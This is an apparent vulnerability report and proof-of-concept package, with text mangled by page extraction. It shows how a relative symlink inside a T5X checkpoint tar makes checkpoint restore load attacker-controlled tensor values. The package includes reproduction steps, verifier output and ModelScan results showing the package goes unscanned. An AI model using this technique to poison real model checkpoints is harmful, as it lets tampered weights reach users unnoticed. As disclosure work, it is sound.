Views
No views yet
ts.Spec
objects, and opens those stores to materialize parameters.artifact/symlink_checkpoint/target.w -> ../symlink_external_tensorstore/target.wtarget.w. When T5X opens
that TensorStore path, the filesystem symlink redirects the read to the
attacker-controlled external store inside the same artifact package. The normal
model key remains target/w, but the restored value is the payload array rather
than the benign/expected in-checkpoint value.t5x.checkpoints.load_t5x_checkpoint()t5x.checkpoints.Checkpointer.restore()3.12.30.12.70.10.00.1.831.1.20.8.8cc342d419ec3e3e9c4bf1df33c82330cafdc1e161artifacts/followup_msgpack_t5x_tensorstore_traversal.tar
2 Primary artifact bundle. This tar preserves the symlink layout needed for the
3 portable PoC.
4
5verify_t5x_msgpack_tensorstore_symlink_poc.py
6 End-to-end verifier. Extracts the tarball, loads T5X checkpoint code, and
7 verifies both load_t5x_checkpoint() and Checkpointer.restore().
8
9scripts/t5x_loader_stub.py
10 Small import shim used to load T5X checkpoint code from a local T5X source
11 checkout without requiring the full T5X runtime stack.
12
13scripts/build_and_verify_t5x_tensorstore_traversal.py
14 Original builder/verifier used to generate the artifact and evidence.
15
16scripts/verify_t5x_checkpointer_restore.py
17 Focused verifier for the Checkpointer.restore() path.
18
19evidence/runtime_verify.txt
20 Captured output from the original builder/verifier.
21
22evidence/checkpointer_restore_verify.txt
23 Captured output proving Checkpointer.restore() follows the artifact symlink.
24
25evidence/tar_extract_symlink_verify.txt
26 Captured output proving tar extraction preserves the symlink and the restored
27 controlled value.
28
29evidence/modelscan_checkpointer_symlink_checkpoint.json
30 Captured ModelScan output for the MessagePack checkpoint file.
31
32evidence/modelscan_tar.json
33 Captured ModelScan output for the tar package.
34
35evidence/tar_listing.txt
36 Tar listing showing the relative symlink entries.
37
38evidence/decoded_msgpack.txt
39 Decoded checkpoint structure for review.
40
41evidence/sha256.txt
42 Hashes for uploaded artifacts, scripts, and evidence files.artifacts/followup_msgpack_t5x_tensorstore_traversal.tar:1artifact/symlink_checkpoint/checkpoint
2artifact/symlink_checkpoint/checkpoint.msgpack
3artifact/symlink_checkpoint/target.w -> ../symlink_external_tensorstore/target.w
4artifact/symlink_external_tensorstore/target.w/.zarray
5artifact/symlink_external_tensorstore/target.w/0
6
7artifact/symlink_checkpointer_checkpoint/checkpoint
8artifact/symlink_checkpointer_checkpoint/checkpoint.msgpack
9artifact/symlink_checkpointer_checkpoint/target.w -> ../symlink_checkpointer_external_tensorstore/target.w
10artifact/symlink_checkpointer_external_tensorstore/target.w/.zarray
11artifact/symlink_checkpointer_external_tensorstore/target.w/0../ variant
inside the tar. The report should focus on the portable relative-symlink
variant. Literal ../ inside TensorStore kvstore.path is rejected by
TensorStore and is included only as negative evidence.t5x.checkpoints implementation. Set T5X_REPO to that checkout.1git clone https://github.com/google-research/t5x /tmp/t5x
2cd /tmp/t5x
3git checkout cc342d419ec3e3e9c4bf1df33c82330cafdc1e16
4
5cd /path/to/this/repo
6T5X_REPO=/tmp/t5x python verify_t5x_msgpack_tensorstore_symlink_poc.py1T5X_REPO=/workspace/messagepack/repos/t5x \
2 /workspace/messagepack/.venv/bin/python verify_t5x_msgpack_tensorstore_symlink_poc.py1python 3.12.3
2flax 0.12.7
3jax 0.10.0
4tensorstore 0.1.83
5msgpack 1.1.2
6
7symlink_target ../symlink_external_tensorstore/target.w
8load_t5x_checkpoint_restored_target_w [3001, 3002, 3003]
9load_t5x_checkpoint_followed_artifact_symlink True
10
11checkpointer_symlink_target ../symlink_checkpointer_external_tensorstore/target.w
12checkpointer_restore_restored_target_w [4101, 4102, 4103]
13checkpointer_restore_followed_artifact_symlink True1{
2 "total_issues": 0,
3 "scanned": {"total_scanned": 0},
4 "skipped": {
5 "total_skipped": 1,
6 "skipped_files": [
7 {
8 "category": "SCAN_NOT_SUPPORTED",
9 "source": "checkpoint"
10 }
11 ]
12 }
13}1{
2 "total_issues": 0,
3 "scanned": {"total_scanned": 0},
4 "skipped": {
5 "total_skipped": 1,
6 "skipped_files": [
7 {
8 "category": "SCAN_NOT_SUPPORTED",
9 "source": "followup_msgpack_t5x_tensorstore_traversal.tar"
10 }
11 ]
12 }
13}ts.Spec objects. Those specs are then
opened to read checkpoint arrays. For file-backed TensorStore paths, normal
filesystem symlink resolution applies.{"kvstore": {"driver": "file", "path": "target.w"}}target.w as a symlink to a sibling TensorStore directory
inside the same package. T5X therefore restores the normal key target/w, but
the bytes come from the symlink target controlled by the artifact.109ab5be3e9083f0ac7ecd07b8a4ab8ce29603161ff1f2d90bd0a042ddcf5fca9 artifacts/followup_msgpack_t5x_tensorstore_traversal.tar
2e20e75f7ee091c91d1ddbfa08acf4bd6fcf2d7c63e3e1cd98549f0f89e8d548b verify_t5x_msgpack_tensorstore_symlink_poc.py
3a140843007bf1b16421b8d914f0931227a3e0a646ea9d645be86e04a0748660c scripts/t5x_loader_stub.py
4367445b079a1c99c07fbce6cfc0fad2c08e2fdd7cf005ec2b4d2afea298d4303 scripts/build_and_verify_t5x_tensorstore_traversal.py
5f6db82ef535c4f6278661db18cda636dde1e8a482f2d1fc7072700725d53023c scripts/verify_t5x_checkpointer_restore.py18ef1678772e4179087b2ea68691b3cb1618f731d5b3149ef37dd016c35f3bea4 artifact/symlink_checkpoint/checkpoint
24b1c58071e39c6dad762acb330f088843945a8adad42f9aad23a7a852c39ae86 artifact/symlink_checkpointer_checkpoint/checkpoint
3fd95d819506a0154d19507d0796f931918f9f52a2022aaf1ed7bb46458809434 artifact/absolute_spec_checkpoint/checkpoint../ inside TensorStore kvstore.path was tested and rejected by
TensorStore, so the submitable path is the symlink-backed artifact.